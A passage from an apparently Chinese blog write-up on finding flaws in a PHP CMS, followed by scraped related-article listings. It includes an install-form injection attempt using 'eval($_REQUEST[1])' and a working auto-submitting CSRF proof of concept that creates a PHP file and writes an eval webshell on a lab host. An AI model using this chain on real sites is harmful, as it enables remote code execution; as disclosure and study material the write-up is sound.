    Cookie: PHPSESSID=b9imt0v97o8hsml01jr0tro9n3; UIA=KXoyLywxNlo2YDQtLl8tX2BlMjAqLzUqX103Y1xlZWBcMzFeXi4xXjQsYDBeMC8tZDEsXjIxMCoxLjIvXmQ1Y14w; app_puyuetianeditor_editcontent=%3Cbr%3E
    
    _webos=*&mysql_type=mysql&mysql_location=127.0.0.1&mysql_username=root&mysql_password=root&mysql_database='eval($_REQUEST[1])&mysql_prefix=pk_&mysql_charset=set+names+utf8&adminusername=phpinfo();&adminpassword=phpinfo();&adminemail=admin%40qq.com&hs_username=&hs_password=&hs_domain=192.168.150.9
    

    图片

    7)最后发现不能传入;,否则会报错

    图片

    8)假设传入进去了,又会显示403

    图片

    图片

    9)感觉有机会,后面就看师傅们尝试了。。。

    2、任意文件写入配合CSRF(成功)

    在dedecms中看到过的漏洞,因为后台的任意写文件在没有管理员权限的支持下无法利用,那么倘若配合CSRF漏洞,借用管理员的cookie便可以直接执行,扩大漏洞危害。

    在这里尝试一下:

    1)首先抓取写入文件的数据包,可以看到没有明显的token等字段

    图片

    2)在漏洞文件中只是看到了权限检测

    图片

    3)使用burp生成任意文件写入的CSRF漏洞POC,保存为test.html

    图片

    图片

    4)生成任意文件创建的CSRF漏洞POC

    图片

    5)将两个文件整合到一起,并设置自动提交

    <html>
      <!-- CSRF PoC - generated by Burp Suite Professional -->
      <body>
      <script>history.pushState('', '', '/')</script>
        <form id='test1' action="http://192.168.150.9/index.php">
          <input type="hidden" name="c" value="app" />
          <input type="hidden" name="a" value="filesmanager&#58;index" />
          <input type="hidden" name="type" value="mkfile" />
          <input type="hidden" name="mkname" value="123&#46;php" />
          <input type="submit" value="Submit request" />
        </form>
        <form id='test2' action="http://192.168.150.9/index.php?c=app&a=filesmanager:index&type=save&path=123.php" method="POST">
          <input type="hidden" name="filecontent" value="&lt;&#63;php&#32;eval&#40;&#36;&#95;REQUEST&#91;1&#93;&#41;&#59;&#63;&gt;" />
          <input type="submit" value="Submit request" />
        </form>
        <script>
            function test1() {
                document.getElementById("test1").submit();
            }
            function test2() {
                document.getElementById("test2").submit();
            }
            setTimeout(test1,100)
            setTimeout(test2,200)
        </script>
      </body>
    </html>
    

    6)在已登录的浏览器中打开test.html文件

    跳转了几次后,显示ok,保存失败

    图片

    跟前面任意文件写入的返回是一样的,在网站根目录可以看到已经成功写入了

    图片

    执行命令

    图片

    0x04 挖掘后期&总结

    挖掘后干嘛?提交漏洞呗~

    好的,这个算是刚开始学习没多久挖掘到的漏洞,其实现在觉得技术含量不高,发现漏洞也不难,主要想分享一下过程以及思路。

    最后,希望看到这篇文章到小伙伴也能很快挖掘到通用型漏洞~
    在这里插入图片描述
    在这里插入图片描述

    展开全文
  • php漏洞挖掘思路

    2021-04-18 10:05:13
    最近研究PHP 漏洞挖掘,总结了一些我挖到的漏洞,整理了一下思路,求各路神人补充、批评、指导~本文所有示例均来自我在乌云上已由厂商允许公开的漏洞由于是实例的分析,基础知识请百度,就不全都粘贴到前面了0x01:...
  • PHP漏洞挖掘思路+实例

    2021-03-26 11:43:21
    lxj616 · 2013/12/27 14:09最近研究PHP漏洞挖掘,总结了一些我挖到的漏洞,整理了一下思路,求各路神人补充、批评、指导~本文所有示例均来自我在乌云上已由厂商允许公开的漏洞由于是实例的分析,基础知识请百度,...
  • 大概是在上半年提交了某个CMS的命令执行漏洞,现在过了那么久,也想通过这次挖掘通用型漏洞,整理一下挖掘思路,分享给大家。
  • 漏洞挖掘思路过程
  • WEB漏洞挖掘——思路指南

    千次阅读 2021-12-29 12:32:29
    本篇主要记录了WEB漏洞挖掘过程中的信息收集部分,web渗透最重要的便是信息收集,希望以下内容能够给予在漏洞挖掘中迷茫的小伙伴一些帮助。 目录 信息收集 子域名 注意是否存在WAF 工具类 边缘资产 ICP备案...
  • 同时也是分享一下我平时挖掘漏洞的一些思路吧,这篇文章里虽然只简单介绍其中三种漏洞类型,但也是想是一个抛转引玉吧,给web安全新手提供一些挖掘思路.下载地址:GitHub地址: https://github.com/78778443/permeate...
  • 那今天的话其实也主要是分享一下web层面的一个漏洞的一个渗透思路,我是第一步先上来,肯定是先做一个目录,扫描那目录,扫描用什么工具, Dir map可以用也可以用我们国产的,像御剑这种工具的话也是可以用的,而且...
  • 支付漏洞挖掘

    2022-06-23 15:52:17
    支付漏洞一直以来就是高风险,对企业来说危害很大,对用户来说同样危害也大。就比如用他人账户进行消费,这也属于支付漏洞中的越权问题。那么支付漏洞一般存在于哪些方面呢,根据名字就知道,凡是涉及购买、资金等...
  • 逻辑漏洞挖掘总结篇

    多人点赞 热门讨论 2022-04-10 00:02:50
    警告 ...我将所有逻辑漏洞的问题分为前端和后端两个部分,总体思路都是先测试前端再测试后端。在我理解中其实就是能突破规则限制的就是漏洞,像不可修改的通过抓包可以修改了。 二、思维逻辑图 ...
  • 漏洞挖掘
  • 补充之前第一篇文章中思路,重新加入了最近发现的一些实例(也有部分来自wooyun上的牛人们已公开的漏洞漏洞归属原作者并均在文章内标明)在文章中的测试条件下,我们的配置默认是这样子的:safe_mode = off (避免...
  • 一文带你了解CVE-2021-4034漏洞挖掘全过程。

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 8,056
精华内容 3,222
关键字:

漏洞挖掘思路